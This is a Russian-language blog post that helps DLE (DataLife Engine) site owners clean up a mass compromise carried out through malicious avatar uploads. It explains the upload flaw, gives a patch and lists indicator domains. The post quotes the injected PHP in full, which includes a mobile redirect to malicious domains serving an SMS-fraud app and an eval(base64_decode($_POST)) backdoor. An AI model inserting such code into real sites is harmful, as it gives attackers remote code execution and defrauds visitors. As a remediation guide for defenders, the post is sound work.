Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим бороться? » Techno-Co

Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков.Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое.В чем заключается взлом?Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника, переадресация действует только на мобильные телефоны, планшеты и т.д. Скажем вы заходите на зараженный сайт с телефона на OS Android тут же вам будет предложено скачать apk приложение, мол необходимо обновить ваш «интернет браузер» (иконка будет как в Google Chrome ). После установки приложения, ваш телефон будет инфицирован смс вирусом, который будет отправлять смс и снимать деньги с вашего баланса.Если же вы уже скачали приложение, то не в коем случае не устанавливайте его!Почему на это стоит обратить внимание?Я предоставлю несколько фактов и вы дальше сами решите, тратите вы свое время или нет.1) Яндекс может посчитать вас распространителем вирусных программ, соучастниками мошенников и т.д. Никто «церимоница» не будет, сразу попадете в бан.2) Вы теряете посещаемость вашего сайта, люди которые заходят к примеру с мобильного не попадают на ваш сайт и вы теряете посетителей.3) В вашем сайте дыра, только это уже говорит о том, что нужно действовать.Какие файлы чаще всего подвержены заражению?В основном заражению подлежат вот эти файлы:

index.phpengine/engine.phpengine/init.phpengine/data/config.php

engine/data/dbconfig.php

Но это не исключение, у меня например еще был заражен и language/Russian/website.lng , что очень меня удивило, так как я перекопал весь движок, но так и не смог найти вредоносный код, а редирект на вредоносный сайт так и оставался. Представляете моё удивление после обнаружение кода в папке language?Приступим!Находим и аккуратненько удаляем вот этот код из вышеперечисленных файлов (желательно сверится с чистым движком, да бы не удалить лишнего):

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

Кстати ещё один важен момент, этот код может дублироваться в нескольких местах, будьте внимательны.Так же возможен вот такой вариант вредоносного кода:

if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://live-internet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://getinternet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

Удаляем его. Код мы почистили, но теперь осталась дыра, которую нужно залатать.Как эта дрянь попала на мой сайт?Очень просто, в нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}

Так вот все дело в этой строчке:

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Т.е. если аватар не надо изменять по размеру, то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.Латаем дыруДыра сразу в трех файлах, а именно в:

engine/inc/editusers.phpengine/modules/register.php

engine/modules/profile.php

Находим в них строку:

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Заменяем на:

$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Все теперь загрузить аватар с вредоносным кодом будет невозможно.Рекомендую удалить все аватарки с папки uploads/fotos, так на всякий случай.tehApocalypse — заходим в админку ищем его и баним, по ip и т.д, опять же на всякий случай.Все теперь, не забывайте хотя бы раз в месяц проверять свои сайты на наличие вредоносного кода, мало ли я что-то упустил.

«Я все сделал по инструкции, а у меня не пропала переадресация, что делать?»

1) Убедится что вы не пропустили вредоносный код, как я уже говорил он может дублироваться в одном файле несколько раз.

2) Возможно вредоносный код записан еще в какие-то другие фалы, проверьте все файлы движка на наличее таких ссылок:statuses.ws, live-internet.ws, getinternet.ws и если такие имеются удаляйте их вместе с вредоносным кодом.

3) Если и это не помогло, значит у вас другие ссылки, другой вредоносный код и т.д.

П.С. — Рекомендую всем владельцам CMS DLE сделать эту небольшую проверку, возможно вы тоже подверглись взлому.